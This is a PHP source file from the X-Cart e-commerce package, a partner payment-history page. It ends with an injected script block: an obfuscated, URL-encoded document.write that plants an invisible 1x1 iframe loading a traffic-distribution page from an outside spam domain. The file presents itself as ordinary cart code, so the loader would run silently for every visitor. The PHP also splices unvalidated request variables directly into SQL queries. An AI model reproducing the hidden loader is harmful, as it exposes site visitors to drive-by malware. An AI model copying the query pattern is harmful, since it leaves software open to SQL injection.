<?
/*****************************************************************************\
+-----------------------------------------------------------------------------+
| X-Cart                                                                      |
| Copyright (c) 2001-2002 Ruslan R. Fazliev. All rights reserved.            |
+-----------------------------------------------------------------------------+
| The Ruslan R. Fazliev forbids, under any circumstances, the unauthorized   |
| reproduction of software or use of illegally obtained software. Making      |
| illegal copies of software is prohibited. Individuals who violate copyright |
| law and software licensing agreements may be subject to criminal or civil   |
| action by the owner of the copyright.                                       |
|                                                                             |
| 1. It is illegal to copy a software, and install that single program for    |
| simultaneous use on multiple machines.                                      |
|                                                                             |
| 2. Unauthorized copies of software may not be used in any way. This applies |
| even though you yourself may not have made the illegal copy.                |
|                                                                             |
| 3. Purchase of the appropriate number of copies of a software is necessary  |
| for maintaining legal status.                                               |
|                                                                             |
| DISCLAIMER                                                                  |
|                                                                             |
| THIS SOFTWARE IS PROVIDED BY Ruslan R. Fazliev ``AS IS'' AND ANY  |
| EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED |
| WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE      |
| DISCLAIMED.  IN NO EVENT SHALL Ruslan R. Fazliev OR ITS           |
| CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,       |
| EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,         |
| PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; |
| OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,    |
| WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR     |
| OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF      |
| ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.                                  |
|                                                                             |
| The Initial Developer of the Original Code is Ruslan R. Fazliev.           |
| Portions created by Ruslan R. Fazliev are Copyright (C) 2001-2002          |
| Ruslan R. Fazliev. All Rights Reserved.                                    |
+-----------------------------------------------------------------------------+
\*****************************************************************************/

#
# $Id: payment_history.php,v 1.9 2002/11/14 07:58:21 zorg Exp $
#

require "../smarty.php";
require "../config.php";
require "./auth.php";
require "../include/security.php";

$ctime = time() + $config["General"]["timezone_offset"];

$start_date = mktime (0,0,0,date("m",$ctime),1,date("Y",$ctime));
$end_date = $ctime;

$paid_total_result = func_query_first ("SELECT SUM(commitions) AS numba FROM $sql_tbl[partner_payment] WHERE paid='Y' AND login='$login'");
$paid_total = ($paid_total_result ["numba"] ? price_format($paid_total_result["numba"]) : "0.00");
$smarty->assign ("paid_total", $paid_total);

$date_condition = "";
if ($use_date == "Y" and $StartMonth) {
	$start_date=mktime(0,0,0,$StartMonth,$StartDay,$StartYear);
	$end_date=mktime(23,59,59,$EndMonth,$EndDay,$EndYear);

	$date_condition = " AND ($sql_tbl[partner_payment].add_date>=$start_date AND $sql_tbl[partner_payment].add_date<=$end_date) ";
}

$query_string = "SELECT * FROM $sql_tbl[partner_payment] WHERE login='$login' AND paid='Y' $date_condition ORDER BY add_date";

$total_payments = count (func_query ($query_string));

if ($use_paging == "Y") {

	$objects_per_page = 10;

	$total_nav_pages = ceil($total_payments/$objects_per_page)+1;
	include "../include/navigation.php";

	$smarty->assign ("payments", func_query ("$query_string LIMIT $first_page, $objects_per_page"));
	$smarty->assign ("navigation_script", "payment_history.php?mode=$mode&StartDay=$StartDay&StartMonth=$StartMonth&StartYear=$StartYear&EndDay=$EndDay&EndMonth=$EndMonth&EndYear=$EndYear&use_date=$use_date&use_paging=$use_paging");
} else {
	$smarty->assign ("payments", func_query ($query_string));
}

$smarty->assign("start_date",$start_date);
$smarty->assign("end_date",$end_date);
$smarty->assign("main", "payment_history");
$smarty->display("partner/home.tpl");
?>
<!-- o65 --><script type="text/javascript">
document.write(unescape('%3C%69%66%72%61%6D%65%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%62%6F%72%64%65%72%3D%30%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%6E%64%73%70%61%6D%2E%69%6E%66%6F%2F%74%64%73%2F%69%6E%64%65%78%2E%70%68%70%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script><!-- c65 -->